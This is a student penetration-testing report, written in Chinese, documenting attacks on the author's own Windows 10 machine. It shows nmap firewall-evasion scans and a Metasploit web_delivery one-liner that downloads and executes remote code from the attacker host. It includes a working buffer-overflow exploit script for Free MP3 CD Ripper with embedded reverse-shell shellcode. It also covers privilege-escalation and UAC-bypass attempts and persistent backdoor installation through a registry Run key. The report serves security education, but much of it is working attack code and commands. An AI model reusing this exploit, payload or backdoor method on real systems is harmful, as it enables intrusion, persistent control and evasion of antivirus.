zoukankan      html  css  js  c++  java
  • 20165230田坤烨网络对抗免考报告_基于WIN10的渗透攻击

    简单信息收集

    主机发现

    ping

    • 通过ping 命令发送ICMP报文的方法检测WIN10主机是否在线

    • 能收到回复包,证明主机在线,并能相互通信

    nmap

    nmap -sn

    • 用来探测活跃主机

    这个命令会发送arp请求包探测目标ip是否在线,如果有arp回复包,则说明在线。此命令可以探测目标主机是否在线,如果在线,还可以得到其MAC地址。但是不会探测其开放的端口号。

    端口扫描

    nmap

    nmap -sS

    TCP SYN 扫描(-sS)
    这是Nmap默认的扫描方式,通常被称作半开放扫描。该方式发送SYN到目标端口,如果收到SYN/ACK回复,那么可以判断端口是开放的;如果收到RST包,说明该端口是关闭的。如果没有收到回复,那么可以判断该端口被屏蔽了。因为该方式仅发送SYN包对目标主机的特定端口,但不建立完整的TCP连接,所以相对比较隐蔽,而且效率比较高,适用范围广。

    • 结果显示为filtered,nmap不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙所导致的。当nmap收到icmp报文主机不可达报文或者目标主机无应答,常常会将目标主机的状态设置为filtered。

    • 把防火墙关闭试一下,可以看见主机开启的端口有135/139/443/445/902/912

    OS及服务版本探测

    nmap -sV

    • 通过nmap -sV 192.168.43.38扫描物理机,-sV是参数,命令nmap对目标进行端口对应相关应用程序进行扫描

    绕过防火墙尝试

    诱饵

    这种类型的扫描是非常隐蔽且无法察觉。目标由多个假冒或伪造IP地址进行扫描。这样防火墙就会认为攻击或扫描是通过多个资源或IP地址进行,于是就绕过了防火墙。
    这实际上在目标看来是由多个系统同时扫描,这使得防火墙更难追查扫描的来源。

    • 通过nmap –D decoy1,decoy2,decoy3 target来尝试欺骗防火墙

    随机数据长度

    附加随机数据长度,我们也可以绕过防火墙。许多防火墙通过检查数据包的大小来识别潜伏中的端口扫描。这是因为许多扫描器会发送具有特定大小的数据包。为了躲避那种检测,我们可以使用命令–data-length增加额外的数据,以便与默认大小不同。在下图中,我们通过加入25多个字节改变数据包大小。

    • 通过nmap --data-length 25 192.168.43.38命令进行随机数据长度尝试

    随机顺序扫描目标

    选项–randomize-host用于随机 顺序扫描指定目标。–randomize-host有助于防止因连续 扫描多个目标而防火墙和入侵检测系统检测到。

    • 通过nmap --randomize-hosts 192.168.43.38

    MAC地址欺骗

    每台机器都有自己独特的mac地址。因此这也是绕过防火墙的另一种方法,因为某些防火墙是基于MAC地址启用规则的。为了获得扫描结果,需要先了解哪些MAC地址可以使用。这可以通过手动或先进的模糊测试完成。
    特别是–spoof-MAC选项能够从一个特定的供应商选择一个MAC地址,选择一个随机的MAC地址,或者设定您所选择的特定MAC地址。 MAC地址欺骗的另一个优点是,让扫描隐蔽,实际MAC地址就不会出现在防火墙的日志文件。

    • 通过nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target命令

    实现win10的渗透攻击

    CVE-2017-0199(失败)

    漏洞原理

    • 该漏洞利用OFFICE OLE对象链接技术,将包裹的恶意链接对象嵌在文档中,OFFICE调用URL Moniker(COM对象)将恶意链接指向的HTA文件下载到本地, 当用户打开包含嵌入式漏洞的文档时,winword.exe 会向远程服务器发出 HTTP 请求,以检索恶意 HTA 文件,服务器返回的文件时一个带有嵌入式恶意脚本的假 RTF 文件,winword.exe 通过 COM 对象查找 application/hta 的文件处理程序,这会导致 Microsoft HTA 应用程序(mshta.exe),加载恶意攻击者下载并执行包含 PowerShell 命令的 Visual Basic 脚本。

    实现过程

    1. 下载cve-2017-0199.rtf:git clone https://github.com/bhdresh/CVE-2017-0199.git
    2. 此命令将运行一个python脚本来生成富文本格式的有效载荷,其中-M用于生成rtf文件,-w用于生成rtf文件的名称,即sales.rtf, -u为攻击者的IP地址或域名。
    cd CVE-2017-0199
    python cve-2017-0199_toolkit.py -M gen -w exploit.rtf -u http://192.168.1.24/raj.doc
    

    1. exploit.rtf放到win10靶机中
      在我们将这个文件发送给被攻击者之前,我们需要将它嵌套到任何后门文件中,以便我们可以建立与被攻击者的反向连接。
    2. 进入msfconsole执行监听:
    msf> use multi/handler
    msf exploit(handler )> set payload windows/meterpreter/reverse_tcp
    msf exploit(handler )> set lhost 192.168.43.14
    msf exploit(handler )> set lport 5230
    msf exploit(handler )> exploit
    
    1. 失败

    EasyFileSharing模块(失败)

    攻击过程

    1. search 具体EasyFileSharing模块

    2. 具体操作

    use exploit/windows/http/easyfilesharing_post
    show options
    set lhost 192.168.43.14
    set lport 5230
    set rhosts 192.168.43.38
    set rport 80
    exploit
    
    
    • 失败

    msf web_delivery模块攻击(成功)

    攻击原理

    • 此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)
    • 有两种利用方式:
      • 1.命令注入漏洞:
        在命令行注入:生成的命令
      • 2.远程文件包含漏洞:
        在包含漏洞处包含:生成的网址

    攻击过程

    1. search web_delivery

    2. 具体过程

    use exploit/multi/script/web_delivery
    show options
    set lhost 192.168.43.14
    set lport 5230
    
    exploit
    
    

    • 可以看见生成payload:
    python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.43.14:8080/3ztfplpmKzCmFI');exec(r.read());"
    
    • 复制payload到Win10上面运行
    • 返回kali攻击机,已经反弹回了一个session
    • 输入命令sessions -i 3进入,成功获取了目标机

    CVE-2019-9766(成功)

    漏洞原理

    • Free MP3 CD Ripper是一款音频格式转换器。Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码

    攻击过程

    • 靶机:Win10

    • 利用msf生成反向连接的shellcode,

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest
    
    

    • 替换脚本中的shellcode.
    
    # Stack-based buffer overflow in Free MP3 CD Ripper 2.6
    
    buffer = "A" * 4116
    
    NSEH = "xebx06x90x90"
    
    SEH = "x84x20xe4x66"
    
    nops = "x90" * 5
    
    buf = ""
    
    buf = ""
    buf += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    buf += "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    buf += "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    buf += "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    buf += "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    buf += "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    buf += "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    buf += "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    buf += "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    buf += "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
    buf += "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
    buf += "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x13x81"
    buf += "x68x02x00x1cx3ex89xe6x50x50x50x50x40x50x40x50"
    buf += "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
    buf += "x74x61xffxd5x85xc0x74x0cxffx4ex08x75xecx68xf0"
    buf += "xb5xa2x56xffxd5x6ax00x6ax04x56x57x68x02xd9xc8"
    buf += "x5fxffxd5x8bx36x6ax40x68x00x10x00x00x56x6ax00"
    buf += "x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57x68"
    buf += "x02xd9xc8x5fxffxd5x01xc3x29xc6x75xeexc3";
    
    pad = "B" * (316 - len(nops) - len(buf) )
    
    payload = buffer + NSEH + SEH + nops + buf +pad
    
     
    
    try:
    
        f=open("TestFMCR.mp3","w")
    
        print "[+] Creating %s bytes mp3 File..." %len(payload)
    
        f.write(payload)
    
        f.close()
    
        print "[+] mp3 File created successfully!"
    
    except:
    
        print "File cannot be created!"
    
    
    

    原理解释

    • 关键代码:填充+nseh+seh+nop+shellcode

    • 填充:数据覆盖直到函数返回地址

      • nseh : next seh 指示下一个seh结构的位置,在这里使用"xebx06x90x90"填充是一个通用的填充方法,这四个字节反汇编的结果是 jmp 6 nop nop这样三条指令,原因是jmp 6个字节刚好绕过两个nop指令和一个4字节的seh处理程序的地址,落入nop指令区,然后滑行进入shellcode

      • seh : seh处理程序地址部分填入的是一个指向pop pop ret 这样连续三条指令的一个地址,这样填充原因是,在异常出现时,先保存当前栈定,然后系统会在栈里面压入两个参数,所以两个pop是pop出来系统压的参数,然后ret到nseh的位置,接着开始执行指令,然后参考上面nseh的数据介绍就可以。

    • 2.运行脚本,生成恶意mp3文件,python FmcrExploit.py

    • 3.移动恶意文件到靶机windows10上

    • 4.打开msf并设置监听

    • 在主机上打开Free MP3 CD Ripper软件

    • 回连成功!

    进行提权

    普通提权

    • 获取会话后通过命令getsystem进行提权,显示没有权限

    利用系统漏洞

    • 可以利用metasploit下已有的提权漏洞,如ms13_053,ms14_058,ms16_016,ms16_032等。

    ms16_032

    use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
    set lport 5230
    set session 3
    exploit
    
    • 失败

    powerup命令行提权

    • 通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,使用Powershell框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
    1. 首先需要下载此脚本:Powerup,之后加载此脚本:
    powershell.exe -nop -exec bypass
    Import-Module .powerup.psm1
    
    
    • 加载完成以后,便可以使用Powerup中的所有模块,通过如下命令可以查看所有模块: Get-Command -Module powerup
    1. 首先添加低权限测试账号,使用管理员身份运行cmd,添加测试账号: C:Windowssystem32>net user powerup 1 /add
    2. 执行Invoke-AllChecks:PS C:> Invoke-AllChecks

    绕过UAC进行提权

    • 查看bypassuac的模块

    • (1)首先需要在meterpreter下执行background命令让当前会话保存到后台。

    • (2)使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。

    • (3)主要使用三个模块

    1. exploit/windows/local/bypassuac
    2. exploit/windows/local/bypassuac_injection_winsxs
    3. exploit/windows/local/bypassuac_sluihijack
    • 一个一个的尝试,具体过程如下
    msf > use exploit/windows/local/bypassuac
    msf exploit(bypassuac) > set session 1
    msf exploit(bypassuac) > exploit
    
    • 失败1。。。。
    • 失败2。。。
    • 失败3.。。。。

    后门

    • Meterpreter的shell运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用exploit获取权限,所以需要持久的后门对目标进行控制。
      Msf提供了两种后门,一种是metsvc(通过服务启动),一种是persistence(支持多种方式启动)。

    metsvc

    • (1)run metsvc

    • (2)命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。

    • 同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。

    • (3) 连接后门
      使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。

    persistence

     使用run persistence -h查看参数。
    -A:安装后门后,自动启动exploit/multi/handler模块连接后门
    -L:自启动脚本的路径,默认为%TEMP%
    -P:需要使用的payload,默认为windows/meterpreter/reverse_tcp
    -S:作为一个服务在系统启动时运行(需要SYSTEM权限)
    -T:要使用的备用可执行模板
    -U:用户登陆时运行
    -X:系统启动时运行
    -i:后门每隔多少秒尝试连接服务端
    -p:服务端监听的端口
    -r:服务端ip
    
    • 在C:Users***AppDataLocalTemp目录下,上传一个vbs脚本
      在注册表HKLMSoftwareMicrosoftWindowsCurrentVersionRun加入开机启动项

    • (1)生成后门
      命令:run persistence -X -i 1 -p 5230 -r 192.168.43.14

    • 查看其修改的键值

    • (2)连接后门

    • 使用exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端口。

    • 下次重启电脑时,可以保持会话

    心得体会

    • 这次实践的靶机用了自己的win10电脑,每一次尝试攻击都让我觉得心惊胆战,中途360报了好几次中了木马,我还不敢隔离,害怕自己之前做出的成果被删,导致无法分析。期间遇到了很多问题,去网上听了很多渗透测试分析课,也看了无数篇资料,当看到kali里返回了win10的shell的时候,心里真的很满足!
    • 先从信息收集开始,如果靶机开了防火墙,基本nmap的所有命令都无法获得有效的信息。于是尝试很多方法去实现绕过防火墙的信息收集,但简单的nmap命令还是没能成功,需要借助其他的工具来帮助绕过。然后是对win10实现渗透攻击,中途尝试了很多CVE漏洞,很多win10都已经补上了补丁,还有一些经过了版本更新,最终找到了一个MP3软件的缓冲区溢出漏洞和一个msf中的下载模块,获得shell的时候360没有报出有木马,mp3文件也没有被删除,可以达到免杀的目的。在获取shell的基础上,还想要进行更多的操作,进行后渗透攻击,如提权和再次使用exploit获取权限,需要持久的后门对目标进行控制。提权的过程中也遇到了很多问题,尝试了很多方法,找了很多提权漏洞,有很多漏洞是作为一个独立的步骤进行攻击,但不是在获得win10shell的基础上通过一系列指令而达到提权的目的,而通过一系列的命令来实现提权又难以实现,需要在这个课题上进一步的进行研究和尝试。安装后门的过程比较顺利,可以维持访问,但被360发现系统自启动项键值被修改,这一步没有实现免杀。
    • 通过完整的渗透测试,让我对网络攻防有了更加深入的理解和掌握。整个过程就是在理清思路的基础上不断的尝试新的方法,达到自己的目的。学习的方法就在于此,每一次学习都应该先理清思路,重要的不是跟着步骤一步一步做完,而是知道要做什么,为什么要这样做,这样做会有什么结果,以及还有什么别的方法可以得到同样的结果。在这个过程也提高了发现问题,分析问题和解决问题的能力。
    • 网络安全是一个很大的课题,每一年都有成千上万个系统漏洞被白帽子们发现,被黑客攻击,被不法分子利用,如今我所掌握的知识都只是一点皮毛,要想真正做到会攻击也会防攻击,还需要走很长很长的路。在此谢谢老师对我课题的指导和帮助,我将在以后的学习中进一步的研究和尝试,不断完善自己不断提高自己。
  • 相关阅读:
    QTP 11.05下载并完成+皴
    ZOJ Monthly, June 2014 月赛BCDEFGH题题解
    Linux makefile 教程 很具体,且易懂
    oracle中imp命令具体解释
    html5实现摇一摇
    AfxMessageBox和MessageBox差别
    Android传感器概述(六)
    线性代数之矩阵与坐标系的转换
    測试新浪微博@小冰 为代码机器人的一些方法
    破解中国电信华为无线猫路由(HG522-C)自己主动拨号+不限电脑数+iTV
  • 原文地址:https://www.cnblogs.com/tiankunye/p/11071888.html
Copyright © 2011-2022 走看看